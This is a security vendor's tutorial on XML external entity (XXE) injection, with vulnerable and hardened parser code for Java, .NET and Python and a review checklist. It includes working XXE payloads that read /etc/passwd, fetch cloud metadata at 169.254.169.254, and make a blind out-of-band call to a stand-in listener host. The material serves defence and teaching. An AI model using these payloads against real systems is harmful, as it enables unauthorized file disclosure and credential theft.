Skip to content

XML External Entity (XXE): How a Parser Reads /etc/passwd For You

An XML parser that resolves external entities will fetch any file or URL an attacker names. Here is how XXE turns a document upload into local file disclosure and SSRF, and the parser settings that stop it cold.

SelfSec Team 8 min read

Part 1 of 4From the XML External Entity series

At a glance

CWE-611
Interpreter
XML parser and its DTD processor
Required condition
The parser accepts a DOCTYPE and resolves external entities or external DTDs in untrusted XML.
Potential impact
Local file disclosure, server-side requests to internal hosts, blind data exfiltration and denial of service.
Primary defense
Reject DOCTYPE declarations, or disable external entities and DTD loading, in every parser.

Safe practice: use benign proof only, in a disposable local lab or on a system you are explicitly authorized to test.

XML is more powerful than most developers realize. Beyond elements and attributes, the format lets a document define entities — and external entities can point at files on disk or URLs on the network. XML external entity (XXE) injection abuses a parser that resolves those entities: by declaring one that references a local file or an internal address, an attacker makes the server read sensitive files, reach internal services, and exfiltrate data. The root cause is depressingly simple — a parser that still processes DTDs and resolves external entities, either because that is its default, as it is for Java's JAXP factories, or because someone switched it back on.

The OWASP Top 10:2025 files XXE (CWE-611) under A02 Security Misconfiguration, and that is the right instinct: the fix is almost always a parser setting, not a rewrite. This post shows how a single crafted document turns a routine XML endpoint into a file-disclosure and SSRF primitive, and how to configure the parser so it never happens.

The mental model: the document tells the parser what to fetch

An XML document can carry instructions for the parser itself. A DOCTYPE can declare entities, and an external entity names a file or URL whose contents should be substituted into the document. A permissive parser follows those instructions before your code ever sees an element.

What the document contains Hardened parser Permissive parser
Elements and attributes Parses them Parses them
A DOCTYPE with internal entities Rejects it, or expands within limits Expands them, possibly exponentially
<!ENTITY x SYSTEM "file:///etc/passwd"> Refuses to resolve it Reads the file into the document
An entity or DTD at http://... Refuses to fetch it Makes a request from the server

Everything in the last column happens during parsing. Validating the parsed result afterward cannot help, because by then the file has been read and the request has been sent.

How it happens

Anywhere an application accepts XML — SOAP services, SAML, document uploads, sitemaps, SVG, config import — it must parse it. The vulnerability appears when the parser is left at settings that resolve DOCTYPE-declared entities. Consider a Java endpoint that reads an uploaded XML order:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(request.getInputStream());

String item = doc.getElementsByTagName("item").item(0).getTextContent();

This looks ordinary, and for well-formed orders it works fine. But DocumentBuilderFactory does not disable external entities by default. The parser will dereference any entity the document declares — including one that points outside the document entirely. File formats built on XML, such as SVG images and Office documents, carry the same risk into upload features; the file formats post covers those.

A concrete attack

Instead of a normal order, the attacker uploads an XML body with a DOCTYPE that defines an external entity pointing at a local file:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

When the parser hits &xxe;, it resolves the entity by reading file:///etc/passwd and substitutes the file's contents into the element. Whatever the application does next with that element — echo it back, store it, include it in an error — now carries the file. The response body comes back containing:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

The same technique swaps the target for an internal URL to turn the parser into a server-side request forger:

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<foo>&xxe;</foo>

Now the server fetches cloud metadata on the attacker's behalf — credentials and all.

The attacker did not break the parser. They used a standard XML feature exactly as specified — the parser was simply configured to trust the document about which files and URLs to read.

When nothing comes back: blind XXE

Many endpoints parse the document but never echo the entity. Parameter entities, which are expanded inside the DTD itself, still make the parser act. In an authorized test, a parameter entity that points at a unique hostname on an out-of-band listener proves resolution without any reflected output:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % probe SYSTEM "http://xxe-check.oob.example/p">
  %probe;
]>
<root>test</root>

A DNS lookup or HTTP request for that name can only come from the parser dereferencing the entity. Attackers extend the same idea with an external DTD that carries file contents out in the URL; the blind XXE post explains that chain and its error-based fallback.

What an attacker gains

XXE is a versatile primitive that opens several doors at once:

  • Local file disclosure — read /etc/passwd, source code, configuration files and application secrets directly off the server's disk.
  • Server-side request forgery — make the server hit internal-only services and cloud metadata endpoints (like 169.254.169.254) that are unreachable from outside.
  • Out-of-band exfiltration — with parameter entities and an attacker-hosted DTD, steal data even when the response shows nothing (blind XXE).
  • Denial of service — entity-expansion bombs can exhaust memory and CPU.

On many stacks, file disclosure alone hands over the keys: a leaked database password or cloud credential is enough to compromise far more than the XML endpoint.

The fix: disable DTDs and external entities in the parser

XXE is one of the rare classes with a clean, definitive fix: turn off the dangerous features at the parser. Since the application almost never needs DOCTYPEs or external entities, disable them outright. In Java:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newDefaultInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
dbf.setXIncludeAware(false);

DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(request.getInputStream());

With disallow-doctype-decl set, the earlier payload is rejected before any entity is resolved — there is nothing to dereference. newDefaultInstance() (Java 9 and later) uses the JDK's built-in parser, which supports these features, rather than whichever implementation happens to be on the classpath. Do not reach for setExpandEntityReferences(false) instead: it changes how entity references appear in the DOM, not whether external resources are loaded.

In .NET, XmlReader with DtdProcessing.Prohibit throws an XmlException the moment a document carries a DOCTYPE:

var settings = new XmlReaderSettings
{
    DtdProcessing = DtdProcessing.Prohibit,
    XmlResolver = null,
    Async = true
};

using var reader = XmlReader.Create(request.Body, settings);
var document = await XDocument.LoadAsync(reader, LoadOptions.None, cancellationToken);

Prohibit is already the default for XmlReaderSettings, so setting it explicitly documents the intent and survives a later copy from a sample that turns DTDs on. Map the XmlException to a 400 response. On legacy .NET Framework code, check XmlDocument and XmlTextReader instances too, whose older defaults resolved external entities.

In Python with lxml, switch off entity resolution and network access on the parser you pass to every call:

from lxml import etree

parser = etree.XMLParser(resolve_entities=False, no_network=True, load_dtd=False)
tree = etree.parse(stream, parser)

The same principle applies on every platform:

  • Disable DTD processing and external-entity resolution in whichever XML library you use; most expose a single flag or a secure-processing mode.
  • For Python's standard-library parsers, the defusedxml package wraps the same APIs and refuses entity declarations by default.
  • In PHP with libxml2 2.9 or later, external entities are not loaded by default; keep it that way by never passing LIBXML_NOENT, LIBXML_DTDLOAD or LIBXML_DTDVALID for untrusted XML.
  • Prefer simpler data formats like JSON where you control the contract — they have no equivalent of external entities.
  • Keep XML libraries patched, since defaults and bypasses change between versions.

Fixes that do not hold

  • Disabling entity expansion only: switches such as setExpandEntityReferences(false) do not stop external DTDs and parameter entities from being fetched.
  • Filtering requests for <!ENTITY or SYSTEM: alternate encodings such as UTF-16, external DTD references and XInclude reach the parser by other routes.
  • Validating the parsed document: the file read and the outbound request happen during parsing, before any validation runs.
  • Suppressing the response: blind XXE exfiltrates through parameter entities and out-of-band requests, and parser error messages can leak file contents.
  • Hardening one parser: SAML libraries, SOAP stacks, SVG processors and Office importers each construct their own parser.
  • Relying on egress filtering: it slows out-of-band exfiltration but does not stop a file read that comes back in the response.

A developer review checklist

  1. Inventory every place XML is parsed: APIs, SOAP and SAML endpoints, uploads such as SVG and DOCX, feeds, sitemaps and configuration imports.
  2. Configure each parser to reject DOCTYPE declarations; where a DTD is genuinely required, disable external entities, external DTD loading and XInclude.
  3. Build parsers through one hardened factory and reject ad-hoc parser construction in code review.
  4. Keep XML libraries and the platform parser up to date.
  5. Prefer JSON for new interfaces where you control both ends.
  6. Restrict outbound network access from services that parse untrusted documents.

References

Module: XML External Entity. How it probes: Sends DOCTYPE payloads with file, php://filter, cloud-metadata and out-of-band entities to endpoints that send or accept XML, woven into captured XML and SOAP request bodies, and to WebSocket messages. How it confirms: A passwd or win.ini signature where the entity expands, absent from the baseline and a benign control and reproduced on a fresh request, or a DNS or HTTP callback to a unique out-of-band host, proves the parser resolved the entity. A finding moves from Possible to Confirmed only after this check. Reported as CWE-611 · ATT&CK T1190, T1083 · SARIF 2.1.0.
How SelfSec proves this one
Module
XML External Entity
How it probes
Sends DOCTYPE payloads with file, php://filter, cloud-metadata and out-of-band entities to endpoints that send or accept XML, woven into captured XML and SOAP request bodies, and to WebSocket messages.
How it confirms
A passwd or win.ini signature where the entity expands, absent from the baseline and a benign control and reproduced on a fresh request, or a DNS or HTTP callback to a unique out-of-band host, proves the parser resolved the entity.
Reported as CWE-611 · ATT&CK T1190, T1083 · SARIF 2.1.0

A reflected response alone is not enough to promote a XML External Entity finding. The classical engine has to confirm the behavior before it reaches the report. See the detection engine

SelfSec scanner

Find XML External Entity in your own app

Reading about the class is one thing. SelfSec tests for it against an application you are authorized to assess, and only calls it real when independent evidence agrees.

Join the launch list